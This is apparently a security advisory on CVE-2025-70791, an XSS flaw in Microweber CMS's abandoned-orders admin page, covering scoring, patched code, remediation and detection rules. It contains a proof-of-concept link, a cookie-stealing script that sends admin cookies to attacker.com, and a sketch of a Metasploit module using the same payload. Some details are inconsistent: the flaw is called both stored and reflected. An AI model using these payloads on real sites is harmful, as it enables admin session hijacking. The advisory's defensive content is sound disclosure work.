CVE-2025-70791

Executive Summary

CVE-2025-70791 is a stored Cross-Site Scripting (XSS) vulnerability affecting Microweber CMS version 2.0.19 and earlier. The flaw resides in the /admin/order/abandoned endpoint, where the orderDirection parameter is not properly sanitized before being rendered in the admin panel. An attacker can craft a malicious URL containing JavaScript payloads in the orderDirection parameter. When a user with administrative privileges visits this URL, the payload executes in the context of the admin's browser session. This can lead to session hijacking, credential theft, or unauthorized administrative actions. The vulnerability was responsibly disclosed and patched in version 2.0.20.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via Composer and GitHub. The vulnerability is not in a third-party package but in the core application code. However, administrators should verify the integrity of their Microweber installation by checking the composer.lock file and ensuring no malicious modifications have been made to the core files. The official patch is available in the Microweber GitHub repository.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click the crafted link.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and privilege escalation makes this a significant threat in environments where admin users are not vigilant.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the admin panel of Microweber. The /admin/order/abandoned endpoint is used to display abandoned orders. It accepts an orderDirection parameter to sort the orders (e.g., asc or desc). In version 2.0.19, this parameter is directly echoed into the HTML response without proper encoding or sanitization.

Attack Flow:

1. The attacker crafts a URL like: https://target.com/admin/order/abandoned?orderDirection=<script>alert('XSS')</script>
2. The attacker lures an admin user to click this link (e.g., via phishing email or social engineering).
3. The admin's browser sends a request to the vulnerable endpoint.
4. The server returns an HTML page where the orderDirection value is embedded without sanitization.
5. The browser executes the injected JavaScript.

Impact:

• Session cookie theft (if HttpOnly flag is not set).
• Forged admin actions (e.g., creating new admin users, modifying site content).
• Redirection to malicious sites.
• Keylogging or form grabbing.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0.19):

// In /admin/order/abandoned endpoint
$orderDirection = $_GET['orderDirection'] ?? 'asc';
// Directly used in output without sanitization
echo "<th><a href='?orderDirection=$orderDirection'>Order Date</a></th>";

Patched Code (Microweber 2.0.20):

// In /admin/order/abandoned endpoint
$orderDirection = $_GET['orderDirection'] ?? 'asc';
// Sanitize the parameter
$orderDirection = htmlspecialchars($orderDirection, ENT_QUOTES, 'UTF-8');
echo "<th><a href='?orderDirection=$orderDirection'>Order Date</a></th>";

The patch uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html and host on a server -->
<!DOCTYPE html>
<html>
<body>
<h1>CVE-2025-70791 PoC</h1>
<p>Click the link below to trigger XSS:</p>
<a href="http://target.com/admin/order/abandoned?orderDirection=<script>alert(document.cookie)</script>">Click me</a>
</body>
</html>

Advanced Payload (Session Hijacking):

// Inject this via the orderDirection parameter
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

Metasploit Module (Conceptual):

# Not a real module, but a conceptual example
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  def run
    payload = "<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>"
    res = send_request_cgi({
      'uri' => '/admin/order/abandoned',
      'vars_get' => { 'orderDirection' => payload }
    })
    print_good("Payload sent. Wait for victim to click.")
  end
end

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious orderDirection parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
2. Use WAF rules to block requests with HTML/JavaScript in the orderDirection parameter.
3. Educate admin users about phishing attacks and the importance of verifying URLs before clicking.

WAF Rule (ModSecurity):

SecRule ARGS:orderDirection "@rx <script|onerror|javascript:" "id:1001,phase:2,deny,status:403,msg:'XSS attempt detected'"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/order/abandoned with orderDirection containing <script> tags.
• Outbound connections to attacker-controlled domains from the admin browser.

File IOCs:

• Modified composer.lock or core PHP files (if the attacker gained write access).
• Suspicious entries in storage/logs/laravel.log (if Laravel is used).

Behavioral IOCs:

• Unusual admin actions (e.g., creating new users, changing site settings) from a single IP.
• Multiple failed login attempts followed by successful admin login from a new IP.

Detection Engineering

YARA Rule

rule CVE_2025_70791_XSS {
  meta:
    description = "Detects XSS payloads targeting CVE-2025-70791 in Microweber"
    author = "Valters IT"
    date = "2025-04-10"
    hash = "d41d8cd98f00b204e9800998ecf8427e"
  strings:
    $xss1 = "orderDirection=<script" nocase
    $xss2 = "orderDirection=javascript:" nocase
    $xss3 = "orderDirection=onerror=" nocase
    $xss4 = "orderDirection=%3Cscript" nocase
  condition:
    any of them
}

Sigma Rule

title: CVE-2025-70791 XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Microweber /admin/order/abandoned endpoint
author: Valters IT
logsource:
  category: webserver
  product: apache
  service: accesslog
detection:
  selection:
    cs-method: 'GET'
    cs-uri-query|contains: '/admin/order/abandoned'
    cs-uri-query|contains|all:
      - 'orderDirection='
      - '<script'
  condition: selection
falsepositives:
  - Legitimate use of '<' in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70791 XSS Attempt"; flow:to_server; content:"/admin/order/abandoned"; http_uri; content:"orderDirection="; http_uri; pcre:"/orderDirection=.*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Microweber to version 2.0.20 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block malicious orderDirection values.
3. Review admin user sessions and force password resets for all admin accounts.

Long-Term Measures:

1. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
2. Set HttpOnly and Secure flags on session cookies.
3. Conduct regular security audits and penetration testing.
4. Train developers on secure coding practices, especially input validation and output encoding.

Verification:

• After patching, test the endpoint with a payload like <script>alert(1)</script> to confirm it is sanitized.
• Check the application logs for any prior exploitation attempts.

Valters IT